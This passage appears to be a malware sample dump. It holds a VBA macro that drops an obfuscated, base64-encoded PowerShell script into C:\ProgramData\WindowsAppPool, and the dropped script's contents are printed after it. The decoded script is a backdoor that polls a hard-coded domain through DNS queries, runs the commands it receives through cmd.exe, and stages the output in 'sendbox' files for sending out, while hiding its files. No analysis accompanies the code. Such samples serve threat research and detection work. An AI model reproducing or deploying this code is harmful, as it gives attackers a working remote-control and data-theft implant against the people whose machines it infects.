J0ZVVUQpOw0KCQkJCX0NCgkJCQknKydlbHNlDQoJCQkJew0KCQkJCQlTR0ZWVkQgPSBbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKFNHRl"
DDDD = DDDD + "VVRCk7DQoJCQkJCVNHRlZWRCA9IFNHRlZWRC5JJysnUEFkZHInKydlc3NUb1N0cmluZy5TcGxpdChaeFYuWnhWKQ0KCQkJCX0NCgkJCQlXcml0ZS1Ib3N0IFNHRlZWRDsNCgkJCX0nKycNCgkJCWNhdGNoIFtleGNlcHRpb25dIHsgV3InKydpdGUtSG9zdCBYOVBleGNlcHRvbiBvY2N1cmVkIVg5UCtTR0ZfOyBTR0Z7Z2xvYmFsOlNHRlNTRH0rKzsgY29udGludWU7IH0NCgkJCQ0KCQkJaWYgKFNHJysnRlZWRCAtZXEgU0dGbnVsbCkgeyBTR0ZRUUUgPSBTR0ZmYWxzZTsgU0dGe2dsb2JhJysnbDpTR0ZTU0R9Kys7IGNvbnRpbnVlIH0NCg0KCQkJJysnaWYgKChTR0ZWVkRbMF0gLWVxIFNHRlJSQy5TdWJzdHJpbmcoMCwyKSkgLWFuZCAoU0dGVlZEWzFdICcrJy1lcSAyKSAtYW5kIChTR0ZWVkRbMl0gLWVxIDMpKQ0KCQkJew0KCQkJCVNHRlFRRSA9IFNHRmZhbHNlOycrJw0KCQkJCVNHRkxMRCA9IFtpbnRdU0dGVlZEWzNdOw0KCQkJfQ0nKycKCQkJDQoJCQlpZiAoKFNHRlZWRFswXSAtZXEgJysnMjUzKSAtYW5kIChTR0ZWVkRbMV0gLWVxIDI1KSAtYW5kIChTR0ZWVkRbMl0gLWVxIDQyKSAtYW5kIChTR0ZWVkRbM10gLWVxIDg3KSkgIyBraWxsIHRoaXMgcHJvY2Vzcw0KCQkJew0KCQkJCVNHRlFRRSA9IFNHRmZhbHNlOw0KCQkJCVNHRk9PRSA9IDANCgkJCQlTR0Z7Z2xvYmFsOlNHRlJSRH0gPSBTR0ZmYWxzZTsNCgkJCQlTR0Z7Z2xvYmFsOlNHRlNTRH0gPSBTR0Z7Z2xvYmFsOlNHRlNTRH0gKyAzOw0KCQkJCWRlbCBTR0ZJ"
DDDD = DDDD + "SUU7DQoJCQl9DQoJCQkNCgkJCWlmIChTR0ZRUUUpDQoJCQl7DScrJwoJCQkJU0dGe2dsb2JhbDpTR0ZTU0R9Kys7DQoJCQl9DQoJCX0NCgl9DQp9DQpmdW5jdGlvbiBzbGFiJysnZXIgKFNHRlZWRSkgew0KCVNHRmYgPSBnYyBTR0ZWVkUgLUVuY29kaW5nIEJ5dGU7DQoJU0dGZSA9IHJlc29sdmVyKFNHRmYpOw0KCXJldHVyJysnbiBTR0ZlOw0KfQ0KZnVuY3Rpb24gcmVzb2x2ZXIgKFNHRldXRSkgew0KCVNHRmNudCA9IDA7DQoJU0dGcDEgPSBYOVBYOVA7DQoJU0dGcDInKycgPSBYOVBYOVA7DQoJZm9yIChTR0ZpID0gMDsgU0dGaSAtbHQgU0dGV1dFLkxlbmd0aDsgU0dGaSsrKQ0KCXsNCgkJaWYgKFNHRmNudCAtZXEgMzApDQoJCXsNCgkJCVNHRmNudCA9IDA7DQoJCQlTR0ZyZXMgKz0gKFNHRnAxICsgU0dGcDIpOw0KCQkJU0dGJysncDEgPSBYOVBYOVA7IFNHRnAyID0gWDlQWDlQOw0KCQl9DQoJCVNHRnRtcCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoU0dGV1dFW1NHRmldKS5SZXBsYWNlKFg5UC1YOVAsIFg5UFg5UCk7DQoJCVNHRnAxICs9IFNHJysnRnRtcFswXTsNCgkJU0dGcDIgKz0gU0dGdG1wWzFdOw0KCQlTR0ZjbnQrKzsNCgl9DQoJU0dGcmVzICs9JysnIChTR0ZwMSArIFNHRnAyKTsNCglyZXR1cm4gU0dGcmVzOw0KfQ0KZnVuY3Rpb24gWFhFDQp7DQoJU0dGRkZFID0gQChnY2kgLXBhdGggKFNHRntnbG9iYWw6U0dGTk5EfStYOVBNeGFyY3ZkJysnKlg5UCkgN3JuID8geyAhU0dGXy5QU0"
DDDD = DDDD + "lzQ29udGFpbmVyIH0pOw0KCWlmIChTR0ZGRkUgLW5lIFNHRm51bGwpDQoJew0KCQlTJysnR0ZJSUUgPSBTRycrJ0ZGRkVbMF0uVG9TdHJpJysnbmcoKScrJy5SZXBsYWNlKFg5UHJjdmRYOVAsIFg5UHByb2NYOVApDQoJCXJuaSBTR0ZGRkVbMF0gU0dGSUlFIC1Gb3JjZQ0KCScrJwlTR0ZZWUUgPSBTR0ZJSUUnKycgLXJlcGxhY2UgWDlQcmVjZWl2ZWJveFg5UCwgWDlQc2VuZGJveFg5UDsNCgkJaScrJ2YgKFNHRklJRS5FbmRzV2l0aChYOVAwWDlQKSkNCgkJew0KCQkJU0dGWlpFID0gZ2MgU0dGSUlFIDdybicrJyA/IHsgU0dGXy50JysncmltKCkgLW5lIFg5UFg5UCB9OycrJw0KCQkJUycrJ0dGWlpFID0gU0dGWlpFIDdybiA/IHsgU0dGXy50cmltKCkgLW5lIFg5UFg5UCB9DQoJCQlTR0ZBQUYgKz0gKFNHRlpaRSArIFg5UCAyPiYxWDlQKSA3cm4gJSB7VHJ5IHsgU0dGXyA3cm4gY21kLmV4ZSA3cm4gT3V0LVN0cmluZyB9Q2F0Y2ggeyBTR0ZfIDdybiBPdXQtU3RyaW4nKydnICcrJ319DQoJCQlTR0ZBQUYgK1g5UDw+WDlQIDdybiBzYyBTR0ZZWUUgLUVuY29kaW5nIFVURjgNCgkJCWlmIChUZScrJ3N0LXBhdGggLXBhdGggU0dGSUlFKQ0KCQkJew0KCQkJCXJkIC1wYXRoIFNHJysnRklJRTsNCgkJCX0NCgkJfQ0KCQllbHNlaWYgKFNHRicrJ0lJRS5FbmRzV2l0aChYOVAxWDlQKSkNCgkJew0KCQkJU0dGQkJGID0gZ2MgU0dGSUlFIDdybiA/IHsgU0dGXy4nKyd0cmltKCkgLW5lIFg5UFg5UCB9IDdybiAleyBTR0ZfLlJl"
DDDD = DDDD + "cGxhY2UoWDlQVk9sMFg5UCwgWDlQWDlQKS5UcmltKCkgfQ0KCQkJaWYgKFRlc3QtcGF0aCAtcGF0aCBTR0ZCQkYpDQoJCQl7DQoJCQkJY3BpIC1wYXRoIFNHRkJCRiAtZGVzdGluYXRpb24gU0dGWVlFIC1Gb3JjZTsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlYOVBGaWxlIG5vdCBleGlzdFg5UCA3cm4gc2MgU0dGWVlFOw0KCQkJfQ0KCQkJaWYgKFRlc3QtcGF0aCAtcGF0aCBTR0ZJSUUpDQoJCQl7DQoJCQkJcmQgLXBhdGggU0dGSUlFOw0KCQkJfQ0nKycKCQl9DQoJCScrJ2Vsc2Ugew0KCQkJU0dGQ0NGID0gU0dGSUlFIC1yZXBsYWMnKydlJysnIFg5UHJlY2VpdmVib3hYOVAsIFg5UGRvbmVYOVA7DQoJCQltaSAtcGF0aCBTR0ZJSUUgLWRlc3RpbmF0aW9uIFNHRkNDRicrJyAtRm9yY2U7DQoJCQlpZiAoVGVzdC1wYXRoIC1wYXRoIFNHRkNDRikNCgkJCXsNCgkJCQkoWDlQMjAwJysnPD5YOVAgKyBTR0ZDQ0YpIDdybiBzYyBTR0ZZWUU7DQoJCQkJcmQgLXBhdGggU0dGSUlFOw0KCQkJfQ0KCQl9DQoJCXRyeQ0KCQl7DQoJCQlyZCAtcGF0aCBTR0ZJSUU7DQoJCX1jYXQnKydjaHt9DQoJfQ0KfQ0KDQpTR0Z7Z2xvYmFsJysnOlNHRkRERn0gPSBTR0ZOTkMgKyBYOVBNeGFYOVAgKyBTR0ZSUkM7DQpTR0Z7Z2xvYmFsOlNHRkVFRn0gPSBTR0ZOJysnTkMgKyBYOVBNeGFmaWxlc1g5UDsNClNHRntnbG8nKydiJysnYWw6U0dGTk5EfSA9ICcrJ1NHRntnbG9iYWw6UycrJ0dGRERGfSArIFg5UE14YXJlY2VpdmVib3hYOVA7DQ"
DDDD = DDDD + "pTJysnR0Z7Z2xvYmFsOlNHRkdHRX0gPSBTR0Z7Z2xvYmFsOlNHRkRERn0gKyBYOVBNeGFzZW5kYm94WDlQOw0KU0dGe2dsb2JhbDpTR0ZGRkZ9ID0gU0dGe2dsb2JhbDpTR0ZEREZ9ICsgWDlQTXhhZG9uZVg5UDsNCg0nKycKaWYgKC1ub3QgKFRlc3QtUGF0aCBTR0Z7Z2xvYmFsOlNHRicrJ0VFRn0pKSB7IG1kIFNHRntnbG9iYWw6U0dGRUVGfTsgfQ0KaWYgKC1ubycrJ3QgKFRlc3QtUGF0aCBTR0Z7Z2xvYmFsOlNHRkRERn0pIC1vciAtbm90IChUZXN0LVBhdGggU0dGe2dsb2JhbDpTR0ZHR0V9KSkNCnsNCgltZCBTR0Z7Z2xvYmFsOlNHRkRERn07DQoJbWQgU0dGe2dsb2JhbDpTR0YnKydHR0V9Ow0KCW0nKydkIFNHRntnbG9iYWw6U0dGTk5EfTsNCgltZCBTR0Z7Z2xvYmFsOlNHRkZGRn07DQp9DQpTR0ZHR0YgPSBVVScrJ0MgWDlQMDAwWDlQIFg5UE1YOVAgWDlQWDlQIFg5UFg5UCBYOVByWDlQIFNHRnJuDQpTR0ZISEYgPSBbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKFNHRkdHRik7DQpTR0ZVVUUgPSBTR0ZmYWxzZTsNCmlmIChTR0ZISEYgLWVxIFg5UDk5LjI1MC4yNTAuMScrJzk5WDlQKQ0Kew0KCVNHRntnbG9iYWw6U0dGVFRDfSA9IDA7DQoJWVlEOw0KCWlmIChTR0Z7Z2xvYmFsOlNHJysnRlRUQ30gLWd0IDMpDQoJew0KCQlTR0ZVVUUgPSBTR0Z0cnVlOw0nKycKCQlTR0ZJSUYgPSBVVUMgWDlQMDAwWCcrJzlQIFg5UFBYOVAgWDlQWCcrJzlQIFg5UFg5UCBYOVByWDlQIFNHRnJuDQoJCVsnKydT"
DDDD = DDDD + "eXN0ZW0uTmV0LkRuc106OkdldEhvc3RBZGRyZXNzZXMoU0dGSUlGKTsNCgkJSkpEOw0KCX0NCn0NCmVsc2UNCnsNCglTR0ZVVUUgPSBTRycrJ0Z0cnVlOw0KCUpKRDsNCn0NClhYRTsNCkRERShTR0Z7Z2xvYmFsOicrJ1NHRlRUQ30pOw0KIyByZW1vdmUgbG9jaycrJyBmaWxlIHRvIG5leHQgcmVxdWVzdA0KcmkgLVBhdGggU0dGUFBDOycpIC1DckVQTGFDZSdNeGEnLFtjaEFSXTkyIC1SRXBsYWNlIChbY2hBUl04MytbY2hBUl03MStbY2hBUl03MCksW2NoQVJdMzYgLVJFcGxhY2UgJ1g5UCcsW2NoQVJdMzQtQ3JFUExhQ2UgIChbY2hBUl01NStbY2hBUl0xMTQrW2NoQVJdMTEwKSxbY2hBUl0xMjQgIC1SRXBsYWNlJ1p4VicsW2NoQVJdMzkgLVJFcGxhY2UnVk9sJyxbY2hBUl05NikgfCAmKCAkU2hlbGxpRFsxXSskc0hlTExJZFsxM10rJ1gnKQ0K"""
Open "C:\ProgramData\WindowsAppPool\AppPool.vbs" For Output As #1
Print #1, DDDD
Close #1
End Sub
Sub VVVV()
Dim fdObj As Object
Application.ScreenUpdating = False
Set fdObj = CreateObject("Scripting.FileSystemObject")
If fdObj.FolderExists("C:\ProgramData\WindowsAppPool") Then
Else
fdObj.CreateFolder ("C:\ProgramData\WindowsAppPool")
End If
Application.ScreenUpdating = True
End Sub
Sub AA()
Set sh = ActiveSheet
On Error Resume Next
Do While sh.Next.Visible <> xlSheetVisible
If Err <> 0 Then Exit Do
Set sh = sh.Next
Loop
sh.Next.Activate
On Error GoTo 0
End Sub
## contents of AppPool.vbs
"KCgnU0dGTU1DID0gJysnWDlQd2l0aHlvdXJmYWNlLmNvbVg5UDsNClNHRk5OQyA9IFg5UEM6TXhhUHJvZ3JhbURhdGFNeGFXaW5kb3dzQXBwUG9vbFg5UDsnKycNCmlmICgtbm90IChUZScrJ3N0LVBhdGggU0dGTk5DKSknKycgeyBtZCBTR0ZOJysnTkM7IH0NClNHRk9PQyA9IFNHRk5OQycrJyArIFg5UE14YXF1aWRYOVA7DQoNClNHRlBQQyA9IFNHRk5OQyArIFg5UE14YWxvY2tYOVA7DQonKydpZiAoIShUZXN0LVBhdGggU0dGUFBDKSl7c2MgLVAnKydhdGggU0dGUFBDIC1WYWx1ZSBTR0ZwaWQ7fQ0KZWxzZQ0Kew0KCVNHRlFRQyA9IChORVctVEknKydNRVNQQScrJ04gLVN0YXJ0ICgoR2V0LUMnKydoaWxkSXRlbSBTR0ZQUEMpLkNyZWF0aW9uVGltZSkgLUVuZCAoR2V0LURhdGUpKS5NaW51dGUnKydzDQoJaWYgKFNHRlFRQyAtZ3QgMTApDQoJew0KCQlzdG9wLXByb2NlcycrJ3MgLScrJ2knKydkIChnYyBTR0ZQUEMpOw0KCQlyaSAnKyctUGF0aCBTR0ZQUEM7DQoJfQ0KCXJldHVybjsNCn0nKycNCg0KU0dGUlJDID0nKycgZ2V0LWNvbnRlbnQgU0dGT09DOw0KU0dGUycrJ1NDID0gR2V0LVJhbmRvbSAtSW5wdXRPYmplY3QgKDEwIC4uIDk5KTsNCmlmIChTR0ZSUkMubGVuZ3RoIC1uZSAxMCkgeyBTR0ZSUkMgPSBTR0ZTU0MuVG9TdHJpbmcoKSArIFtndWlkXTo6TmV3R3VpZCgpLnRvU3RyaW5nKCkucmVwbGFjZShaeFYtWnhWLCBaeFZaeFYpLnN1YnN0cmluZygwLCA4KTsgU0dGUlJDIDdyJysnbiBzYyBTRycrJ0ZPT0MgfQ0KZ2kgU0dGT09DIC1Gb3JjZSA3cm4gJXsgU0dGXy5BdHRyaWJ1dGVzID0gWDlQSGlkZGVuWDlQIH0NClNHRntnbG9iYWw6U0dGVFRDfSA9IDA7DQoNJysnCmZ1bmN0aW9uIFVVQyAoU0dGVlZDLCBTR0ZXV0MsIFNHRlhYQywgU0dGWVknKydDLCBTR0ZaWkMsIFNHRkFBRCkNCnsNCglTR0ZCQkQgPSAtam9pJysnbiAoKDQ4IC4uIDU3KSsoNjUgLi4gNzApIDdybiBHZXQtUmFuZG9tICAtQ291bnQgKCV7IEdldC1SYW5kb20gLUlucCcrJ3V0JysnT2JqZWN0ICgxIC4uIDcpIH0pIDdybiAleyBbY2hhcl1TR0ZfIH0pOw0KCVNHRkNDRCA9IEdldC1SYW5kb20gLUlucHV0T2JqZWN0ICgwIC4uIDkpIC1Db3VudCAyOw0KCVNHRkRERCA9IFNHRlJSQy5JbnNlcnQoKFNHRkNDRFsnKycxXSksIFNHRldXQykuSW5zZXJ0KFNHRkNDRFswXSwgU0dGVlZDKTsNCglpZiAoU0dGWlpDIC1lcSBYOVBzWDlQKQ0KCXsgcmV0dXJuIFg5UFNHRihTR0ZEREQpU0cnKydGKFNHRkFBRCknKydTR0YoU0dGQkJEKUNTR0YoU0dGQ0NEWzBdKVNHRihTR0ZDQ0RbMV0pVC5TR0ZYWEMuU0dGWVlDLlNHRk1NQ1g5UDsgfQ0KCWVsc2UgDQoJeyByZXR1cm4gWDlQU0dGKFNHRkRERClTR0YnKycoU0dGQUFEKVNHRihTR0ZCQkQpQ1NHRihTR0ZDJysnQ0RbMF0pU0dGKFNHRkNDRFsxXSlULlNHRihTR0ZNTUMpWDlQO30NCn0NCg0KZnUnKyduY3Rpb24gRUVEKCkNCnsNCglTR0ZGRkQgPSBTR0ZudWxsOw0KCXRyeQ0KCXsNCgkJU0dGRkZEID0gKChHZXQtJysnV21pT2JqZWN0IFdpbjMyX05ldHdvcicrJ2tBZGFwdGVyQ29uZmlnJysndXJhdGlvbiAtQ29tcHV0ZXJOYW1lIFNHRmVuJysndjpjb21wdXRlcm5hbWUgLUUnKydBIFN0b3AgN3JuID8geyBTR0ZfLklQRW5hYmxlZCB9KS5ETlNTZXJ2ZXJTZWFyY2hPcmRlcilbMF0gN3JuIE91dC1TdHJpbmcNCgl9DQoJY2F0Y2ggW2V4Y2VwdGlvbl0gew0KCQkjV3JpdGUtSG9zdCBTR0ZfLk1lc3NhZ2UNCgl9DQoJaWYgKCFTR0ZGRkQpDQoJew0KCQl0cnkNCgkJew0KCQkJU0dGbnMgPSBuc2xvb2snKyd1cC5leGUgOC44LjguODsNCgkJCVNHRkZGRCA9IChTR0Zuc1sxXSAtc3BsaXQgWnhWOlp4VilbMV0uVHJpbSgpOw0KCQl9DQoJCWNhdGNoIFtleGNlcHRpb25dIHsNCgkJCSNXcml0ZS1Ib3N0IFNHRl8uTWVzc2FnZQ0KCQl9DQoJfQ0KCXJlJysndHVybiBTR0ZGRkQNCn0NCg0KZnVuY3Rpb24gR0dEIChTR0ZISEQnKycpDQp7DQoJU0dGaXAgPSBFRUQNCglTR0ZhcnMgPSBbJysnc3lzdGVtLm5ldC5JUEFkZHJlc3NdOjpQYXJzZShbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKFNHRk1NQykpOw0KCVNHRmVuZCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5JUEVuZFBvaW50IFNHRmFycywgNTMNCglTR0ZzID0gTmUnKyd3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2snKydldHMuVWRwQ2xpZW50DQoJU0dGcy5DbGllbnQuUmVjZScrJ2l2ZVRpbWVvdXQgPSBTR0ZzLkNsaWVudC5TZW5kVGltZW91dCA9IDE1MDAnKycwDQoJU0dGcy5Db25uZWN0KFNHRmVuZCkNCglTR0ZwcmUgPSAoMHhhNCwgMHhhMywgMHgwMSwgMHgwMCwgMHgwMCwgMHgwMSwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMCcrJ3gwMCwgMHgwMCkNCglpZiAoIVNHRkhIRC5TdGFydHNXaXRoKFp4Vi5aeFYpKSB7IFNHRkhIRCA9IFg5UC5YOVAgKyAnKydTR0ZISEQ7IH0NCglpZiAoIVNHRkhIRC5FbmRzV2l0aChaeFYuWnhWKSkgeyBTR0ZISEQnKycgPSBTR0ZISEQgKyBYOVAuWDlQOyB9DQoJU0dGbWIgPSBbU3lzdGVtJysnLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRCeXRlcyhTR0ZISEQpDQoJU0dGcCA9IFNHRkhIRC5TcGxpdChaeFYuWnhWKQ0KCVNHRnBpID0gMQ0KCScrJ2ZvciAoU0dGaSA9IDA7IFNHRmkgLWx0IFNHRm1iLmxlbmd0aDsgU0dGaSsrKSB7IGlmIChTR0ZtYltTR0ZpXSAtZXEgMHgyZSkgeyBTR0ZtYltTR0YnKydpXSA9IFNHRnBbU0dGcGldLkxlbmd0aDsgU0dGcGkrKyB9IH0NCglTR0ZwcmUnKycgKz0gU0dGbWINCglTR0ZwcmUgKz0gKDB4MDAsIDB4MTAsIDB4MDAsIDB4MDEpDQoJU0dGYnVmID0gU0dGcHInKydlDQoJU0dGU2VudCA9IFNHJysnRnMuU2VuZChTR0ZidWYsIFNHRmJ1Zi5MZW5ndGgpDQoJU0dGcmIgPSBTR0ZzLlJlY2VpdmUoW3JlJysnZl1TR0ZlbmQpDQoJU0dGciA9IFtieXRlW11dKCAsMHgwICogKFNHRnJiLmxlbmd0aCAtIChTR0ZtYi5sZW5ndGggKyAyOSkpKQ0KCVtTeXN0ZW0uQnVmZmVyXTo6QmwnKydvY2tDb3B5KFNHRnJiLCBTR0ZtYi5sZW5ndGggKyAyOSwgU0dGciwnKycgMCwgKFNHRnJiLmxlbmd0aCAtIChTR0ZtYi5sZW5ndGggKyAyOSkpJysnKQ0KCXJldHVybiBTR0ZyJysnDQp9DQoNCmZ1bmN0aW9uICcrJ0lJRCAoU0dGSEhEKQ0Kew0KCVNHRmlwID0gRUVEDQoJU0dGYXJzID0gW3N5c3RlbS5uZXQuSVBBZGRyZXNzXTo6UGFyc2UoW1N5c3RlbS5OZXQuRG5zXTo6R2V0JysnSG9zdEFkZHJlc3NlcyhTR0ZNTUMpJysnKTsNCglTR0ZlbmQgPSBOZXctT2JqZWN0IFN5c3RlJysnbS5OZXQuSScrJ1BFbmQnKydQb2ludCBTR0ZhcnMsIDUzDQoJU0dGcyA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlVkcENsaWVudA0KCVNHRnMuQ2xpZW50LlJlY2VpdmVUaW1lbycrJ3V0ID0gU0dGcy5DbGllbnQuU2VuZFRpbWVvdXQgPSAxNTAwMA0KCVNHRnMuQ29ubmVjdChTR0ZlbmQpDQoJU0dGcHJlID0gKDB4YTQsIDB4YTMsIDB4MDEsIDB4MDAsIDB4MDAsIDB4MDEsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDApDQoJaWYgKCFTR0ZISEQuU3RhcnRzV2l0aChaeFYuWnhWKSkgeyBTR0ZISEQgPSBYOVAuWDlQICsgU0dGSEhEOyB9DQoJaWYgKCFTR0ZISEQuRW5kc1dpdGgoWnhWLlp4VikpIHsgU0dGSEhEID0gU0dGJysnSEhEICsgWDlQLlg5UDsgfQ0KCVNHRm1iID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0Qnl0ZXMoU0dGSEgnKydEKQ0KCVNHRnAgPSBTRycrJ0ZISEQuU3BsaXQoWnhWLlp4VikNCglTR0ZwaSA9IDENCglmb3InKycgKFNHRmkgPSAwOyBTR0ZpIC1sdCBTR0ZtYi5sZW5ndGg7IFNHRmknKycrKykgeyBpZiAoU0dGbWJbU0dGaV0gLWVxIDB4MmUpIHsgU0dGbWJbU0dGaV0gPSBTR0ZwW1NHRnBpXS5MZW5ndGg7IFNHRnBpKysgfSB9DQoJU0dGcHJlICs9IFNHRm1iDQoJU0dGcHJlICs9ICgweDAwLCAweDAxLCAweDAwLCAweDAxKQ0KCVNHRmJ1ZiA9IFNHRnByZQ0KCVNHRlNlbnQgPSBTR0ZzLlNlbmQoU0dGYnVmLCBTR0ZidWYuTGVuZ3RoKQ0KCVNHRnJiID0gU0dGcy5SZWNlaXZlKFtyZWZdU0dGZW5kKQ0KCVNHRnIgPSBbYnl0ZVtdXSggLDB4MCAqIChTR0ZyYi5sZW5ndGggLSAoU0dGbWIubGVuZ3QnKydoICsgMjgpKSkNCglbU3lzdGVtLkJ1ZmZlcl06OkJsb2NrQ29weShTR0ZyYiwgU0dGbWIubGVuJysnZ3RoICsgMjgsIFNHRnInKycsIDAsIChTR0YnKydyYi5sZW5ndGggLSAoU0dGbWIubGVuZ3RoICsgMjgpKSkNCglyZXR1Jysncm4gU0dGcg0KfQ0KDQpmdW5jdGlvbiBKSkQNCnsNCglTR0ZLS0QgPSBTR0ZmYWxzZTsNCglTR0ZMTEQgPSAwOw0KCVNHRk1NRCA9IFNHRntnbG9iJysnYWw6U0dGTk5EfScrJyArIFg5UE14YVg5UDsNCglTR0ZPT0QgPSBAKCk7DQoJU0dGUFBEID0gWDlQMDAwWDlQOw0KCScrJ1NHRlFRRCA9IFg5UDBYOVA7DQoJU0dGe2dsb2JhbDpTR0ZSUkR9ID0gU0dGdHJ1JysnZTsnKycNCglTR0Z7Z2xvYmFsOlNHRlNTRH0gPSAwOw0KCVNHRntnbG9iYWw6U0dGJysnU0dGVFREfSA9IDU7JysnDQoJDQoJV2hpbGUgKFNHRntnbG9iYWw6U0dGUlJEfSkNCgl7DQoJCVN0JysnYXJ0LVNsZWVwIC1tIDUwOw0KCQlpZiAoU0cnKydGJysne2dsb2JhbDpTR0ZTU0R9IC1ndCBTR0Z7Z2xvYmFsOlNHRlNHRlRURH0pIHsgYnJlYWsgfQ0KCQlpZiAoU0dGTExEIC1lcSBbaW50XVNHRlBQRCkgeyBTR0Z7Z2xvYmFsOlNHRlNTRH0rKyB9DQoJCWlmIChTR0ZMTEQgLWx0IDEwKSAnKyd7IFNHRlBQRCA9IFg5UDAwU0dGKFNHRkxMRClYOVA7ICcrJ30NCgkJZWxzZWlmIChTR0ZMTEQgLWx0IDEwMCkgeyBTR0ZQUEQgPSBYOVAwU0dGKFNHRkxMRClYOVA7JysnIH0NCgkJZWxzZSB7IFNHRlBQRCA9IFg5UFNHRihTR0ZMTEQpWDlQOyB9DQoJCVNHRlVVRCA9IFVVQyBTR0ZQUEQgU0dGUVFEICcrJ1g5UFg5UCBYOVBYOVAgWDlQclg5UA0KCQl0cnkNCgkJew0KCQkJV3JpdGUtSG9zdCBTR0YnKydVVUQ7DQoJCQlTR0ZWVkQgPSBbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKFNHRlVVRCk7DQoJCQlXcml0ZS1Ib3N0IFNHRlZWRDsNCgknKycJfQ0KCQljYXRjaCBbRXhjZXB0JysnaW9uXQ0KCQl7DQoJCQllY2hvIFNHRl8uRXhjZXB0aW9uLkdldFR5cGUoKS5GdWxsTmFtZSwgU0dGXy5FeGNlcHRpb24uTWVzc2FnZTsgV3JpdGUtSG9zdCBYOVBleGNlcHRvbiBvY2N1cmVkIVg5UDsgU0dGe2dsb2JhbDpTR0ZTU0R9Kys7IGNvbnRpbnVlOw0KCQl9DQoJCQ0KCQlpZiAoU0dGVlZEIC1lcSBTR0ZudWxsKQ0KCQl7DQoJCQlTR0Z7Z2xvYmFsOlNHRlNTRH0gPSBTR0Z7Z2xvYmFsOlNHRlNTRH0gKyAxOw0KCQkJY29udGludWU7DQoJCX0NCgkJU0dGV1dEID0gU0dGVlZEWzBdLklQQWRkcmVzc1RvU3RyaW5nLlNwbGl0KFp4Vi5aeFYpOw0KCQlXcml0ZS1Ib3N0IFg5UFNHRihTR0ZMTEQnKycpOlNHRihTR0ZXJysnV0RbM10pVk9sdHNhdmVpbmdfbW9kZTogUycrJ0dGKFNHRktLRClWT2wnKyd0ICcrJyAgUycrJ0dGKFNHRldXRFswXSkgU0dGKFNHRldXRFsxXSkgU0dGJysnKFNHRldXRFsyXSlYOVANCgkJaWYgKChTR0ZXV0RbMF0gLWVxIDEpIC1hbmQgKFNHRldXRFsxXScrJyAtZXEgMikgLWFuZCcrJyAoU0dGV1dEWzJdIC1lcSAzKSkNCgkJew0KCQkJU0dGS0tEID0gU0dGZmFsc2U7DQoJCQlTR0ZRUUQgPScrJyBYOVAwJysnWDlQOw0KCQkJU0dGbGVuID0gU0dGT09ELkxlbmd0aA0KCQknKycJaWYgKFNHRk9PRFtTR0ZsZW4gLSAxXSAtZScrJ3EgMCAtYW5kIFNHRk9PRFtTR0YnKydsZW4gLSAyXSAtZXEgMCkNCgkJCXsNCgkJCQlTRycrJ0ZYWEQgPSBTR0ZPT0RbMCAuLiAoU0dGbGVuIC0gMyldOw0KCQkJfQ0KCQkJZWxzZWknKydmIChTR0ZPT0RbU0dGbGVuIC0gMV0gLWVxIDApDQoJCQl7DQoJCQkJU0dGWFhEID0gU0dGT09EWzAgLi4gKFNHRmxlbiAtIDIpXTsNCgkJCX0NCgkJCWUnKydsc2UNCgkJCXsNJysnCgkJCQlTR0ZYWEQgPSBTR0ZPT0Q7DQoJCQl9DQoJCQlbU3lzdGVtLklPLkZpbGVdOicrJzpXcml0ZUFsbEJ5dGVzKFNHJysnRk1NRCwgU0dGWFhEKTsNCgkJCVNHRk9PRCA9IEAoKTsNCgkJCVNHRlhYRCA9IEAoKTsNCgkJCVNHRkxMRCA9IDA7DQoJCQlTR0Z7Z2xvYmFsOlNHRlJSRH0gPSBTR0ZmYWxzZTsNCgkJfQ0KCQkNCgkJaWYgKFNHRktLRCkNCgkJew0KCQkJaWYgKFNHRkxMRCAtZ3QgMjUwKSB7IFNHRkxMRCA9IDA7IH0NCgkJCWlmIChTR0ZMTEQgLWVxIFNHRldXRFszXScrJykNCgkJCXsNCgkJCQlTR0ZPT0QgKz0gU0dGV1dEWzBdOw0KCQkJCVNHJysnRk9PRCArPSBTR0ZXV0RbMV0nKyc7DQoJCQkJU0dGT09EICs9IFNHRldXRCcrJ1syXTsNCicrJwkJCQlTR0ZMTEQgPSBTR0ZMTEQgKyAzJysnOw0KCQkJfQ0KCQl9DQoJCQ0KCQlpZiAoKFNHRicrJ1dXRFswXSAtZXEgMjQpIC1hbmQgKFNHRicrJ1dXRFsxXSAtZXEgMTI1JysnKSkNCgkJew0KCQkJU0dGTU1EICs9IFg5UHJjdmRYOVAgKyBTR0ZXV0RbMl0gKyBYOVBYOVAgKyBTR0ZXV0RbM107DQoJCQlTR0ZLS0QgPSBTR0Z0cnVlOw0KCQkJU0dGUVFEID0gWDlQMVg5UDsNCgkJCVNHRkxMRCA9IDA7DQoJCX0NCgknKycJDQoJCWlmICgoU0dGV1dEWzBdIC1lcSAxMSkgLWFuZCAoU0dGV1dEWzFdIC1lcSAyNCkgLWFuZCAoU0dGV1dEWzJdIC1lcSAyMzcpJysnIC1hbmQgKFMnKydHRlcnKydXRFszXSAtZXEgMTEwKSkgIyBraWxsICcrJ3RoaXMgcHJvY2Vzcw0KCQl7DQoJCQlTR0Z7Z2xvYmFsOlNHRlJSRH0gPSBTR0ZmYWxzZTsNCgkJCVNHRntnbG9iYWw6U0dGU1NEfSA9IFNHRntnbG9iYWw6U0dGU1NEfSArIDE7DQoJCX0NCgl9DQoJU3RhcnQtU2xlZXAgLXMgMTsNCn0NCg0KZnVuY3Rpb24nKycgWVlEDQp7DQoJU0dGYnl0cyA9IEAoKTsgU0dGY3QgPSAwOyBTR0ZmYiAnKyc9IEAoKTsgU0dGcm4gPSBYOVAwMDBYOVA7IFNHRlpaRCA9IFg5UFdYJysnOVA7IFNHRnJ1biA9IFNHRnRydWU7IFNHRkFBRSA9IFNHRntnbG9iYWw